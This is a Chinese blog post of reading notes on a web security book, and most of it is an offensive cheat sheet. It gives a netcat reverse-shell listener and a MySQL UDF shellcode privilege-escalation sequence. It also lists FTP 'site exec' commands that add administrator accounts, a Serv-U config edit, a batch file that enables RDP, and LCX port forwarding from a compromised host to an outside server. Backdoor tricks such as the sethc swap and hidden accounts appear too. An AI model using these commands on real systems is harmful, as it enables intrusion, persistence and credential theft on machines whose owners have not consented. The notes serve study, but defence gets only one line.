《Web安全深度剖析》的作者是张炳帅,这本书从WEB安全基础到实战,既有理论,也有实际操练,阅读本书,记录不熟悉之处,建立成熟的知识框架。
《Web安全深度剖析》从攻到防,从原理到实战,由浅入深、循序渐进地介绍了Web 安全体系。全书分4 篇共16 章,除介绍Web 安全的基础知识外,还介绍了Web 应用程序中最常见的安全漏洞、开源程序的攻击流程与防御,并着重分析了“拖库”事件时黑客所使用的攻击手段。此外,还介绍了渗透测试工程师其他的一些检测方式。
只记录了不熟悉之处…
0x01 黑帽SEO劫持
利用HTTP协议中的Referer
和User-agent
- 建立搜索引擎库
- 获取
HTTP Referer
头 - 遍历搜索引擎库
0x02 Nmap
一般使用:nmap -sP xxx.xxx.xxx.xxx/24
nmap -p 80,8080,1433,3389 xxx.xxx.xxx.xxx
nmap -o xxx.xxx.xxx.xxx
nmap -v -A xxx.xxx.xxx.xxx
-p-
参数扫描65535个端口
nmap -Pn -A xxx.xxx.xxx.xxx
穿透防火墙
nmap -h
reference: https://svn.nmap.org/nmap/docs/nmap.usage.txt
0x03 扫描器
博主推荐几款:
AWVS
、JSKY
、BURPSUITE
、APPSCAN
、WVS
、御剑
0x04 SQL注入
用十六进制 0x...
代替单引号
select hex(load_file(char(99,58,92,49,46,116,120,116)))
%d5%27
宽字节注入
Sqlmap
、 Pangolin
、明小子
、阿D
、Havij
0x05 上传漏洞
中间人攻击
MIME
验证
编辑器敏感信息等
0x06 命令执行
在windows系统下 &&
、&
、||
、|
用于连接执行两条命令
PHP命令执行函数:system()
、echo ``
、preg_replace()
、ob_start()
、array_map()
等
JAVA命令执行:Runtime.getRuntime().exec()
Struts2
0x07 文件包含
JSP包含:<%@ include file="page.txt"%>
会当作jsp文件解析 静态包含
<%@ include page="page.txt"%>
动态包含
逻辑错误漏洞
密码找回、越权、支付逻辑、资料修改
代码注入、xml注入
XPath注入:
Reference: https://blog.csdn.net/quiet_girl/article/details/50588130
JSON注入:
Reference: http://www.51testing.com/html/61/n-2502761.html
HTTP Parameter Pollution
URL跳转&钓鱼
0x08 实战篇
0day
攻击
网站后台安全:模版、文件管理、执行SQL语句、网站备份
MD5不安全
0x09 综合篇
暴力破解:Hydra
Refernece:https://www.cnblogs.com/ECJTUACM-873284962/p/7805116.html
Burpsuite
中的intruder
OA系统:ROOT
、SA
、Administrator
、admin
邮箱搜集用户名,错误提示搜集
破解验证码:机器学习验证码识别、暴力破解
0x10 旁注攻击
目标站点->IP->旁站下手->Getshell->目标站点
SQL
跨库查询、目录越权
CDN is a great thing!
子域名
phpinfo()
IP
地址变化
邮件服务器
国外代理访问真实IP
DNS解析记录
0x11 提权
到这里就要吐槽一下,刚开始阅读这本书的时候,有较大的期待,只是到这里已经是第14章了,前面的知识还是有些太基础了,只能作为知识扩充的目的,基本是在应用层面
1.溢出提权
nc监听本地端口(用于反弹shell 交互式命令):nc.exe -l -n -v -p 8888
Linux下:id & uname -a
查看当前用户的id和所属群组ID,以及内核版本号
用一些exp溢出程序反弹shell,获取root权限
Windows提权:服务器支持的脚本语言,ASP通过wscript.shell
,ASP.NET通过.NET Framework
,JSP中通过调用JVM
.aspx
shell文件执行命令,因为针对.NET Framework
的命令执行防护几乎为零
/c : 执行命令后终止 /k :执行命令后保留 /s :修改/c或/k后的字符串处理 /q :关闭回显 /d :禁止从注册表执行AutoRun命令 /a :使管道或文件的内部命令输出为 ANSI /u :使管道或文件内部命令输出为 Unicode
2.第三方组建提权
a.信息搜集:
1.服务器支持脚本语言;
2.服务器端口探测;(namp -A -p- 192.168.1.1
)
3.搜集路径信息;(注册表)
b.数据库提权:
SQL Server:
xp_cmdshell
MYSQL:
UDF(User Defined Function
)提权:
CREATE TABLE TempTable(UDF BLOB); //创建临时表 INSERT INTOTempTableVALUES (CONVERT(shellcode,CHAR)); //插入shellcode SELECT UDF FROM TempTable INTO DUMPFILE 'C:\Windows\udf.dll'; //导出udf.dll DROP TABLE TempTable; //删除临时表 create function cmdshell returns strng soname 'udf.dll'; //创建cmdshell函数 select cmdshell('net user'); //执行命令 drop function cmdshell; //删除cmdshell函数
MYSQL所有账户信息在:./data/mysql/user.MYD
中,跨站须知
3.FTP提权
quote site exec net user
Serv-U
提权
Serv-U
监听端口 43958
,管理用户的默认账号:LocalAdministrator
密码:#l@$ak#.lk;0@P
,其Serv-U
目录下的ServUAdmin.exe
下载到本地,16进制查看密码。其次在其目录下,还有一个ServUDaemon.ini
保存着所有FTP账号信息。一般在大马都集成了。
提权思路:Serv-U 修改serv-u配置文件 添加超级管理员
步骤: [USER=lx|1] Password=uc8270A0A37BE006573C96DB29DF42DEE8 HomeDir=c:\ TimeOut=600 Maintenance=System Access1=C:\|RWAMELCDP 用cmd登陆ftp,,然后在执行下列命令添加用户 quote site exec net user 用户 密码 /add 添加用户 quote site exec net localgroup administrators 用户 /add 添加到管理员组 C:\Program Files\RhinoSoft.com\Serv-U 默认端口43958 修改的文件ServUDaemon.ini (默认路径)
G6 FTP
提权:
默认监听8021
端口
需要LCX
端口转发:lcx.exe -tran 1234 127.0.0.1 8021
FileZilla
提权
把配置文件下载下来,有明文账号密码,本地找一下~
FlashFXP:下载其文件
下载flashfxp下的配置文件(quick.dat)覆盖到本地,然后星号查看器查看出密码,你懂啦~ falshfxp默认安装目录:C:\Program Files\flashfxp 在其安装目录中找到以下文件并予以下载quick.dat 然后本机下载且安装flashfxp,将以上三个文件放置于本件安装安装flashfxp目录下,会提示已经有了是否覆盖 直接点击确定覆盖。然后再次打开flashfxp快速连接,在历史的那里就直接有目标机的地址了。帐号轻而易举的获得(用星号查看器),如此便OK。可以尝试用ftp密码当作3389的密码登录试试!
FTP的基本都在本地的配置文件可得到敏感信息,然后直接利用就好了
4.PCanywhere提权
5631端口
寻找C:\Documents and Settings\All Users\Application Data\Symantec\pcAnywhere\Hosts
的.CIF
文件,由用户的信息
5.虚拟主机提权
星外虚拟主机:D:\freehost\xxxx\
有一个0day,iis.exe
华众虚拟主机:D:\hzhost\xxxx\
新网虚拟主机:D:\virtualhost\xxxxx\
万网虚拟主机:D:\usr\xxxx\
D:\virtualhost\web580651\www\
新网虚拟主机
F:\usr\fw04408\xpinfo\
万网虚拟主机
D:\hosting\wwwroot\
Prim@Hosting虚拟主机
e:\wwwroot\longzhihu\wwwroot\
华众虚拟主机
d:\freehost\zhoudeyang\web\
星外虚拟主机主机
D:\vhostroot\LocalUser\gdrt\
星外分支
f:\host\wz8088\web\
星外分支
D:\vhostroot\localuser\
vhostroot
注册表中一些敏感的位置/注册表/注册表敏感目录/
HKEY_LOCAL_MACHINESOFTWAREMicrosoftMSSQLServerMSSQLServerSuperSocketNetLibTcp Mssql端口 HKLMSYSTEMCurrentControlSetControlTerminal Server DenyTSConnections 远程终端 值为0 即为开启 HKEY_LOCAL_MACHINESOFTWAREMySQL AB mssql的注册表位置 HKEY_LOCAL_MACHINESOFTWAREHZHOSTCONFIG 华众主机注册表配置位置 HKEY_LOCAL_MACHINESOFTWARECat SoftServ-UDomains1UserList serv-u的用户及密码(su加密)位置 HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlTerminalServer WinStationsRDP-Tcp 在该注册表位置PortNumber的值即位3389端口值 HKEY_CURRENT_USERSoftwarePremiumSoftNavicatServers mysql管理工具Navicat的注册表位置,提权运用请谷歌 HKEY_LOCAL_MACHINESYSTEMRAdminv2.0ServerParameters Radmin的配置文件,提权中常将其导出进行进行覆盖提权 HKEY_LOCAL_MACHINESYSTEMControlSet002ServicesMSFtpsvcParametersVirtual Roots IIS注册表全版本泄漏用户路径和FTP用户名漏洞 HKEY_LOCAL_MACHINEsoftwarehzhostconfigSettingsmastersvrpass 华众主机在注册表中保存的mssql、mysql等密码 HKEY_LOCAL_MACHINESYSTEMLIWEIWENSOFTINSTALLFREEADMIN11 星外主机mssql的sa账号密码,双MD5加密 HKEY_LOCAL_MACHINESYSTEMControlSet002ServicesMSFtpsvcParametersVirtual RootsControlSet002 星外ftp的注册表位置,当然也包括ControlSet001、ControlSet003
6.提权辅助
3389 port RDP:
开启3389 port端口的 .bat
文件源码
echo Windows Registry Editor Version 5.00>>3389.reg echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server]>>3389.reg echo "fDenyTSConnections"=dword:00000000>>3389.reg echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\Wds\rdpwd\Tds\tcp]>>3389.reg echo "PortNumber"=dword:00000d3d>>3389.reg echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp]>>3389.reg echo "PortNumber"=dword:00000d3d>>3389.reg regedit /s 3389.reg del 3389.reg
寻找开放远程桌面的方法:1.扫描全部端口;2.cmd查看(之前一篇文章 https://blog.dyboy.cn/websecurity/59.html )
端口转发:
LCX:
自己的外网服务器(IP:45.45.45.45)执行 :lcx.exe -listen 500 8888 //服务器监听500和8888端口,51端口的流量转发到8888端口 在肉鸡/webshell(IP:192.168.1.103)上执行:lcx.exe -slave 45.45.45.45 500 127.0.0.1 3389 //将内网的肉鸡3389端口转发到外网服务器上 //这样以后,外网服务器上直接mstsc 连接 127.0.0.1:8888 即可连上内网主机的RDP
效果:
reDuh转发:
Reference: https://github.com/sensepost/reDuh
启动项提权
c:\Documents and Settings\Administrator\[开始]菜单\启动
目录
参考代码:
//test.vbs @echo off net user dyboy admin123 /add net localgroup administrators dyboy /add
DLL劫持
Tools Lpk Sethc
7.添加后门
后门程序,建立超级隐藏账户
获取管理员账号密码 :mimikatz_trunk
克隆账户
远程控制程序
线程插入后门
建立畸形web后门
shif后门C:\WINDOWS\system32\sethc.exe
C:\WINDOWS\system32\sethc.exe.exe
将sethc.exe
换成自己的shift
就可以了。
防御简单说一下,三方组件安全性,权限控制最小原则,服务器安全防护软件,定期做好日志检查等维护工作,关注漏洞最新动态,做好应急预案
0x12 ARP攻击
这里主要是局域网内的攻击,ARP欺骗,没看应该大致差不多了,需要的时候再详细了解。
参考文章:《[局域网劫持]如何搞懵蹭网的同学-详细过程》
ARP攻击防御:
- 静态绑定=主机
IP
+MAC
地址绑定 - ARP防火墙(博主家里的360路由器自带很多防御功能,安全!以至于不好做实验~)
0x13 社会工程学
工程为下,攻心为上!
推荐一本书《欺骗的艺术》
社会工程学可以说是适用于任何一个领域,因为任何的领域都存在沟通。只要存在沟通的地方,就存在社会工程更学。而社工师就像一个魔术师(男人都是大骗子),用他的左手吸引你的注意力,而右手却在窃取你的秘密。
0x14 刑法补充…
黑客:
白帽子:
0x15 总结
这本《WEB安全深度剖析》是和《白帽子讲WEB安全》一起买的,虽然此书前面部分有些基础(推荐打基础看《白帽子讲WEB安全》),后面的提权部分正是我看到非常有价值的地方。提权进阶还有一段路要走,只能在实践经验中总结。此书后半部分更偏向于实践,在我看来,安全本就是一群不安分的人经验和总结。阅读完两位前辈的书,受益匪浅,向前辈致敬,也继往开来!
版权声明:《 [读书笔记]《Web安全深度剖析》 》为DYBOY原创文章,转载请注明出处!
最后编辑:2018-7-30 11:07:56